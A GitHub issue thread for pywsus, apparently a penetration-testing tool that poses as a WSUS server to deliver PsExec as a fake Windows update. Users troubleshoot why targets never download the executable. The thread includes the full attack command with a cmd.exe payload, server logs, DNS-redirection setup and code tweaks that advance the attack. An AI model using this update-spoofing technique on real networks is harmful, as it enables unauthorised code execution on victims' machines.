GoSecure / pywsus

Standalone implementation of a part of the WSUS spec. Built for offensive security purposes.
https://gosecure.net/blog/
MIT License
293 stars 44 forks source link

Windows 10 not downloading PsExec.exe and executing it (Also not downloading other Windows Signed binaries) #14

Open e-fin opened 1 year ago

e-fin commented 1 year ago

I went through the other open and resolved issues and it seems like some other people had a similar issue but slightly different behaviour.

Target windows 10 system does not have internet access, also has crowdstrike falcon running (not getting any alerts that behaviour is being blocked, but I may not see them since its running as SYSTEM instead of my user)

Instead of ARP spoofing I am adding a static DNS entry to the DNS server to point at my linux machine running pywsus

It works successfully for the most part and I get Sync Updates and GetExtendedUpdateInfo as seen below

`
$ python3 pywsus.py -H 192.168.2.38 -p 8530 -e PsExec64.exe -c '/accepteula /s cmd.exe /c "whoami >> C:\\poc.txt "'        
INFO:root:The update metadata - uuids: [UUID('ba4be06f-7b7d-4a0e-a27a-29b333009561'), UUID('4a6379ce-7c31-4add-a7d0-96a2638c0da1')],revision_ids: [915630, 941906], deployment_ids: [98449, 93574], executable: PsExec64.exe, sha1: /XmA0+Q38oAA+oFVdKMm5WnrVI4=, sha256: WRC0nAQbgPbo0ujhB1KpBi/r5KLt0V8HxrGWGzx5wSk=
INFO:root:Starting httpd...

192.168.2.129 - - [24/Nov/2022 12:01:05] "POST /ClientWebService/client.asmx HTTP/1.1" 200 -
INFO:root:SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
192.168.2.129 - - [24/Nov/2022 12:01:10] "POST /ClientWebService/client.asmx HTTP/1.1" 200 -
INFO:root:SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
`

I am not getting any GET request for PsExec64.exe, I have tried using other windows signed binaries and exact same behaviour as above

On the windows 10 side, when I click "Check for Updates", the above requests pop up on the WSUS server and a new update will pop up in Windows but will not complete, it gets stuck with the status: Status: Downloading - 0%

I have tried all the basic troubleshooting steps and no luck, ive tried rebooting multiple times, letting it check for updates from the legitimate server, then grab updates from the malicious server and same behaviour. I have also made sure the endpoint protection and AWS is not blocking PsExec64.exe, i am able to run PsExec64 no problem on the system as a non-admin.

My theories for why im having this issue:

Im mostly wondering what may cause windows to not download the binaries, I see that was a problem in a previous issue but the resolution was unclear although in that issue, the windows update was not getting stuck at 0%

To recreate my network conditions, I have the windows machine set up with a static IP, a bogus default gateway (to stop internet connection) and set the DNS server to a local DNSMASQ server that resolves the WSUS hostname to another host on my subnet

anderground commented 1 year ago

Did you manage to troubleshoot this?

I'm struggling with the same situation as you were, a laptop with a VPN connection to WSUS, which I redirect using a DNS server and not connecting to the VPN.

Still the same as you, I get the update request but after a couple of authentication requests it stops the communication flow.

dr0pd34d commented 1 year ago

Having the same problem, with the difference that I do receive HEAD requests for TXT files after I have modified the source code quite a bit to provide responses for the TXT files and added the header that was uncommented "Accept-Ranges: bytes". As I think BITSADMIN is being used behind the curtain to download files, the server in questions needs to support ranges I guess.

I got so far to even having received GET requests for the TXT files, but after that, the EXE is still never requested.

Are there currently any restrictions or known problems @nitbx ? Thanks! :)

demetae commented 7 months ago

Hi @anderground @dr0pd34d @e-fin , good info and efforts provided above, thanks.

Did you manage to get any luck with getting that .exe GET request in the end? Are there any other workaround resources/solutions that you may know of?

Thanks